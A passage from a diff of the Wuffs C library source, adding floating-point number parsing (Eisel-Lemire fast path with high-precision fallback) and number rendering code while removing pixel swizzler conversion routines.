must be a single '0'. If it starts with a non-zero decimal digit, it ++ // can be a sequence of decimal digits. ++ // ++ // Update the man variable during the walk. It's OK if man overflows now. ++ // We'll detect that later. ++ uint64_t man; ++ if (*p == '0') { ++ man = 0; ++ p++; ++ if (wuffs_private_impl__is_decimal_digit(*p)) { ++ goto fallback; ++ } ++ } else if (wuffs_private_impl__is_decimal_digit(*p)) { ++ man = ((uint8_t)(*p - '0')); ++ p++; ++ for (; wuffs_private_impl__is_decimal_digit(*p); p++) { ++ man = (10 * man) + ((uint8_t)(*p - '0')); ++ } ++ } else { ++ goto fallback; + } +- uint32_t b5 = 0x1F & (argb >> (8 - 5)); +- uint32_t g6 = 0x3F & (argb >> (16 - 6)); +- uint32_t r5 = 0x1F & (argb >> (24 - 5)); +- uint32_t alpha = argb & 0xFF000000; +- wuffs_base__poke_u32le__no_bounds_check( +- d, alpha | (r5 << 11) | (g6 << 5) | (b5 << 0)); +- s += 4; +- d += 4; +- } +- return len; +-} + +-// -------- ++ // Walk the "d"s after the optional decimal separator ('.' or ','), ++ // updating the man and exp10 variables. ++ int32_t exp10 = 0; ++ if (*p == ++ ((options & WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.')) { ++ p++; ++ const uint8_t* first_after_separator_ptr = p; ++ if (!wuffs_private_impl__is_decimal_digit(*p)) { ++ goto fallback; ++ } ++ man = (10 * man) + ((uint8_t)(*p - '0')); ++ p++; ++ for (; wuffs_private_impl__is_decimal_digit(*p); p++) { ++ man = (10 * man) + ((uint8_t)(*p - '0')); ++ } ++ exp10 = ((int32_t)(first_after_separator_ptr - p)); ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__swap_rgb_bgr(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t len = (dst_len < src_len ? dst_len : src_len) / 3; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; ++ // Count the number of digits: ++ // - for an input of "314159", digit_count is 6. ++ // - for an input of "3.14159", digit_count is 7. ++ // ++ // This is off-by-one if there is a decimal separator. That's OK for now. ++ // We'll correct for that later. The "script/process-json-numbers.c with ++ // -p" benchmark is noticably slower if we try to correct for that now. ++ uint32_t digit_count = (uint32_t)(p - start_of_digits_ptr); + +- size_t n = len; +- while (n--) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s2; +- d[1] = s1; +- d[2] = s0; +- s += 3; +- d += 3; +- } +- return len; +-} ++ // Update exp10 for the optional exponent, starting with 'E' or 'e'. ++ if ((*p | 0x20) == 'e') { ++ p++; ++ int32_t exp_sign = +1; ++ if (*p == '-') { ++ p++; ++ exp_sign = -1; ++ } else if (*p == '+') { ++ p++; ++ } ++ if (!wuffs_private_impl__is_decimal_digit(*p)) { ++ goto fallback; ++ } ++ int32_t exp_num = ((uint8_t)(*p - '0')); ++ p++; ++ // The rest of the exp_num walking has a peculiar control flow but, once ++ // again, the "script/process-json-numbers.c with -p" benchmark is ++ // sensitive to alternative formulations. ++ if (wuffs_private_impl__is_decimal_digit(*p)) { ++ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); ++ p++; ++ } ++ if (wuffs_private_impl__is_decimal_digit(*p)) { ++ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); ++ p++; ++ } ++ while (wuffs_private_impl__is_decimal_digit(*p)) { ++ if (exp_num > 0x1000000) { ++ goto fallback; ++ } ++ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); ++ p++; ++ } ++ exp10 += exp_sign * exp_num; ++ } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-static uint64_t // +-wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t len = (dst_len < src_len ? dst_len : src_len) / 4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // The Wuffs API is that the original slice has no trailing data. It also ++ // allows underscores, which we don't catch here but the fallback should. ++ if (p != &z[s.len]) { ++ goto fallback; ++ } + +- __m128i shuffle = _mm_set_epi8(+0x0F, +0x0C, +0x0D, +0x0E, // +- +0x0B, +0x08, +0x09, +0x0A, // +- +0x07, +0x04, +0x05, +0x06, // +- +0x03, +0x00, +0x01, +0x02); ++ // Check that the uint64_t typed man variable has not overflowed, based on ++ // digit_count. ++ // ++ // For reference: ++ // - (1 << 63) is 9223372036854775808, which has 19 decimal digits. ++ // - (1 << 64) is 18446744073709551616, which has 20 decimal digits. ++ // - 19 nines, 9999999999999999999, is 0x8AC7230489E7FFFF, which has 64 ++ // bits and 16 hexadecimal digits. ++ // - 20 nines, 99999999999999999999, is 0x56BC75E2D630FFFFF, which has 67 ++ // bits and 17 hexadecimal digits. ++ if (digit_count > 19) { ++ // Even if we have more than 19 pseudo-digits, it's not yet definitely an ++ // overflow. Recall that digit_count might be off-by-one (too large) if ++ // there's a decimal separator. It will also over-report the number of ++ // meaningful digits if the input looks something like "0.000dddExxx". ++ // ++ // We adjust by the number of leading '0's and '.'s and re-compare to 19. ++ // Once again, technically, we could skip ','s too, but that perturbs the ++ // "script/process-json-numbers.c with -p" benchmark. ++ const uint8_t* q = start_of_digits_ptr; ++ for (; (*q == '0') || (*q == '.'); q++) { ++ } ++ digit_count -= (uint32_t)(q - start_of_digits_ptr); ++ if (digit_count > 19) { ++ goto fallback; ++ } ++ } + +- while (n >= 4) { +- __m128i x; +- x = _mm_lddqu_si128((const __m128i*)(const void*)s); +- x = _mm_shuffle_epi8(x, shuffle); +- _mm_storeu_si128((__m128i*)(void*)d, x); ++ // The wuffs_private_impl__parse_number_f64_eisel_lemire preconditions ++ // include that exp10 is in the range [-307 ..= 288]. ++ if ((exp10 < -307) || (288 < exp10)) { ++ goto fallback; ++ } + +- s += 4 * 4; +- d += 4 * 4; +- n -= 4; +- } ++ // If both man and (10 ** exp10) are exactly representable by a double, we ++ // don't need to run the Eisel-Lemire algorithm. ++ if ((-22 <= exp10) && (exp10 <= 22) && ((man >> 53) == 0)) { ++ double d = (double)man; ++ if (exp10 >= 0) { ++ d *= wuffs_private_impl__f64_powers_of_10[+exp10]; ++ } else { ++ d /= wuffs_private_impl__f64_powers_of_10[-exp10]; ++ } ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = negative ? -d : +d; ++ return ret; ++ } + +- while (n--) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- uint8_t s3 = s[3]; +- d[0] = s2; +- d[1] = s1; +- d[2] = s0; +- d[3] = s3; +- s += 4; +- d += 4; +- } +- return len; +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 ++ // The wuffs_private_impl__parse_number_f64_eisel_lemire preconditions ++ // include that man is non-zero. Parsing "0" should be caught by the "If ++ // both man and (10 ** exp10)" above, but "0e99" might not. ++ if (man == 0) { ++ goto fallback; ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__swap_rgbx_bgrx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t len = (dst_len < src_len ? dst_len : src_len) / 4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; ++ // Our man and exp10 are in range. Run the Eisel-Lemire algorithm. ++ int64_t r = wuffs_private_impl__parse_number_f64_eisel_lemire(man, exp10); ++ if (r < 0) { ++ goto fallback; ++ } ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( ++ ((uint64_t)r) | (((uint64_t)negative) << 63)); ++ return ret; ++ } while (0); + +- size_t n = len; +- while (n--) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- uint8_t s3 = s[3]; +- d[0] = s2; +- d[1] = s1; +- d[2] = s0; +- d[3] = s3; +- s += 4; +- d += 4; +- } +- return len; ++fallback: ++ do { ++ wuffs_private_impl__high_prec_dec h; ++ wuffs_base__status status = ++ wuffs_private_impl__high_prec_dec__parse(&h, s, options); ++ if (status.repr) { ++ return wuffs_private_impl__parse_number_f64_special(s, options); ++ } ++ return wuffs_private_impl__high_prec_dec__to_f64(&h, options); ++ } while (0); + } + + // -------- + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_1_1(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t len = (dst_len < src_len) ? dst_len : src_len; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len); ++static inline size_t // ++wuffs_private_impl__render_inf(wuffs_base__slice_u8 dst, ++ bool neg, ++ uint32_t options) { ++ if (neg) { ++ if (dst.len < 4) { ++ return 0; ++ } ++ wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492D); // '-Inf'le. ++ return 4; + } +- return len; +-} + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_2_2(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len * 2); ++ if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { ++ if (dst.len < 4) { ++ return 0; ++ } ++ wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492B); // '+Inf'le. ++ return 4; + } +- return len; +-} + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_3_3(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len3 < src_len3) ? dst_len3 : src_len3; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len * 3); ++ if (dst.len < 3) { ++ return 0; + } +- return len; ++ wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x666E49); // 'Inf'le. ++ return 3; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_4_4(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len * 4); ++static inline size_t // ++wuffs_private_impl__render_nan(wuffs_base__slice_u8 dst) { ++ if (dst.len < 3) { ++ return 0; + } +- return len; ++ wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x4E614E); // 'NaN'le. ++ return 3; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_8_8(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len * 8); ++static size_t // ++wuffs_private_impl__high_prec_dec__render_exponent_absent( ++ wuffs_base__slice_u8 dst, ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t precision, ++ uint32_t options) { ++ size_t n = (h->negative || ++ (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) ++ ? 1 ++ : 0; ++ if (h->decimal_point <= 0) { ++ n += 1; ++ } else { ++ n += (size_t)(h->decimal_point); ++ } ++ if (precision > 0) { ++ n += precision + 1; // +1 for the '.'. + } +- return len; +-} + +-// -------- ++ // Don't modify dst if the formatted number won't fit. ++ if (n > dst.len) { ++ return 0; ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgr(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // Align-left or align-right. ++ uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) ++ ? &dst.ptr[dst.len - n] ++ : &dst.ptr[0]; + +- // TODO: unroll. ++ // Leading "±". ++ if (h->negative) { ++ *ptr++ = '-'; ++ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { ++ *ptr++ = '+'; ++ } + +- while (n >= 1) { +- uint32_t b5 = s[0] >> 3; +- uint32_t g6 = s[1] >> 2; +- uint32_t r5 = s[2] >> 3; +- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ // Integral digits. ++ if (h->decimal_point <= 0) { ++ *ptr++ = '0'; ++ } else { ++ uint32_t m = ++ wuffs_base__u32__min(h->num_digits, (uint32_t)(h->decimal_point)); ++ uint32_t i = 0; ++ for (; i < m; i++) { ++ *ptr++ = (uint8_t)('0' | h->digits[i]); ++ } ++ for (; i < (uint32_t)(h->decimal_point); i++) { ++ *ptr++ = '0'; ++ } ++ } + +- s += 1 * 3; +- d += 1 * 2; +- n -= 1; ++ // Separator and then fractional digits. ++ if (precision > 0) { ++ *ptr++ = ++ (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.'; ++ uint32_t i = 0; ++ for (; i < precision; i++) { ++ uint32_t j = ((uint32_t)(h->decimal_point)) + i; ++ *ptr++ = (uint8_t)('0' | ((j < h->num_digits) ? h->digits[j] : 0)); ++ } + } + +- return len; ++ return n; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgrx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- // TODO: unroll. ++static size_t // ++wuffs_private_impl__high_prec_dec__render_exponent_present( ++ wuffs_base__slice_u8 dst, ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t precision, ++ uint32_t options) { ++ int32_t exp = 0; ++ if (h->num_digits > 0) { ++ exp = h->decimal_point - 1; ++ } ++ bool negative_exp = exp < 0; ++ if (negative_exp) { ++ exp = -exp; ++ } + +- while (n >= 1) { +- uint32_t b5 = s[0] >> 3; +- uint32_t g6 = s[1] >> 2; +- uint32_t r5 = s[2] >> 3; +- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ size_t n = (h->negative || ++ (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) ++ ? 4 ++ : 3; // Mininum 3 bytes: first digit and then "e±". ++ if (precision > 0) { ++ n += precision + 1; // +1 for the '.'. ++ } ++ n += (exp < 100) ? 2 : 3; + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ // Don't modify dst if the formatted number won't fit. ++ if (n > dst.len) { ++ return 0; + } + +- return len; +-} ++ // Align-left or align-right. ++ uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) ++ ? &dst.ptr[dst.len - n] ++ : &dst.ptr[0]; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // Leading "±". ++ if (h->negative) { ++ *ptr++ = '-'; ++ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { ++ *ptr++ = '+'; ++ } + +- // TODO: unroll. ++ // Integral digit. ++ if (h->num_digits > 0) { ++ *ptr++ = (uint8_t)('0' | h->digits[0]); ++ } else { ++ *ptr++ = '0'; ++ } + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); ++ // Separator and then fractional digits. ++ if (precision > 0) { ++ *ptr++ = ++ (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.'; ++ uint32_t i = 1; ++ uint32_t j = wuffs_base__u32__min(h->num_digits, precision + 1); ++ for (; i < j; i++) { ++ *ptr++ = (uint8_t)('0' | h->digits[i]); ++ } ++ for (; i <= precision; i++) { ++ *ptr++ = '0'; ++ } ++ } + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ // Exponent: "e±" and then 2 or 3 digits. ++ *ptr++ = 'e'; ++ *ptr++ = negative_exp ? '-' : '+'; ++ if (exp < 10) { ++ *ptr++ = '0'; ++ *ptr++ = (uint8_t)('0' | exp); ++ } else if (exp < 100) { ++ *ptr++ = (uint8_t)('0' | (exp / 10)); ++ *ptr++ = (uint8_t)('0' | (exp % 10)); ++ } else { ++ int32_t e = exp / 100; ++ exp -= e * 100; ++ *ptr++ = (uint8_t)('0' | e); ++ *ptr++ = (uint8_t)('0' | (exp / 10)); ++ *ptr++ = (uint8_t)('0' | (exp % 10)); + } + +- return len; ++ return n; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__render_number_f64(wuffs_base__slice_u8 dst, ++ double x, ++ uint32_t precision, ++ uint32_t options) { ++ // Decompose x (64 bits) into negativity (1 bit), base-2 exponent (11 bits ++ // with a -1023 bias) and mantissa (52 bits). ++ uint64_t bits = wuffs_base__ieee_754_bit_representation__from_f64_to_u64(x); ++ bool neg = (bits >> 63) != 0; ++ int32_t exp2 = ((int32_t)(bits >> 52)) & 0x7FF; ++ uint64_t man = bits & 0x000FFFFFFFFFFFFFul; + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))))); ++ // Apply the exponent bias and set the implicit top bit of the mantissa, ++ // unless x is subnormal. Also take care of Inf and NaN. ++ if (exp2 == 0x7FF) { ++ if (man != 0) { ++ return wuffs_private_impl__render_nan(dst); ++ } ++ return wuffs_private_impl__render_inf(dst, neg, options); ++ } else if (exp2 == 0) { ++ exp2 = -1022; ++ } else { ++ exp2 -= 1023; ++ man |= 0x0010000000000000ul; ++ } + +- s += 1 * 8; +- d += 1 * 2; +- n -= 1; ++ // Ensure that precision isn't too large. ++ if (precision > 4095) { ++ precision = 4095; + } + +- return len; +-} ++ // Convert from the (neg, exp2, man) tuple to an HPD. ++ wuffs_private_impl__high_prec_dec h; ++ wuffs_private_impl__high_prec_dec__assign(&h, man, neg); ++ if (h.num_digits > 0) { ++ wuffs_private_impl__high_prec_dec__lshift(&h, ++ exp2 - 52); // 52 mantissa bits. ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // Handle the "%e" and "%f" formats. ++ switch (options & (WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT | ++ WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT)) { ++ case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT: // The "%"f" format. ++ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { ++ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); ++ int32_t p = ((int32_t)(h.num_digits)) - h.decimal_point; ++ precision = ((uint32_t)(wuffs_base__i32__max(0, p))); ++ } else { ++ wuffs_private_impl__high_prec_dec__round_nearest( ++ &h, ((int32_t)precision) + h.decimal_point); ++ } ++ return wuffs_private_impl__high_prec_dec__render_exponent_absent( ++ dst, &h, precision, options); + +- // TODO: unroll. ++ case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT: // The "%e" format. ++ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { ++ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); ++ precision = (h.num_digits > 0) ? (h.num_digits - 1) : 0; ++ } else { ++ wuffs_private_impl__high_prec_dec__round_nearest( ++ &h, ((int32_t)precision) + 1); ++ } ++ return wuffs_private_impl__high_prec_dec__render_exponent_present( ++ dst, &h, precision, options); ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sr = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sb = 0x101 * ((uint32_t)s[0]); ++ // We have the "%g" format and so precision means the number of significant ++ // digits, not the number of digits after the decimal separator. Perform ++ // rounding and determine whether to use "%e" or "%f". ++ int32_t e_threshold = 0; ++ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { ++ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); ++ precision = h.num_digits; ++ e_threshold = 6; ++ } else { ++ if (precision == 0) { ++ precision = 1; ++ } ++ wuffs_private_impl__high_prec_dec__round_nearest(&h, ((int32_t)precision)); ++ e_threshold = ((int32_t)precision); ++ int32_t nd = ((int32_t)(h.num_digits)); ++ if ((e_threshold > nd) && (nd >= h.decimal_point)) { ++ e_threshold = nd; ++ } ++ } + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; ++ // Use the "%e" format if the exponent is large. ++ int32_t e = h.decimal_point - 1; ++ if ((e < -4) || (e_threshold <= e)) { ++ uint32_t p = wuffs_base__u32__min(precision, h.num_digits); ++ return wuffs_private_impl__high_prec_dec__render_exponent_present( ++ dst, &h, (p > 0) ? (p - 1) : 0, options); ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ // Use the "%f" format otherwise. ++ int32_t p = ((int32_t)precision); ++ if (p > h.decimal_point) { ++ p = ((int32_t)(h.num_digits)); ++ } ++ precision = ((uint32_t)(wuffs_base__i32__max(0, p - h.decimal_point))); ++ return wuffs_private_impl__high_prec_dec__render_exponent_absent( ++ dst, &h, precision, options); ++} + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) + +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; +- } ++// ---------------- Integer + +- return len; +-} ++// wuffs_base__parse_number__foo_digits entries are 0x00 for invalid digits, ++// and (0x80 | v) for valid digits, where v is the 4 bit value. + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static const uint8_t wuffs_base__parse_number__decimal_digits[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. ++ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. ++ 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. + +- // TODO: unroll. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); +- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); +- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); +- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 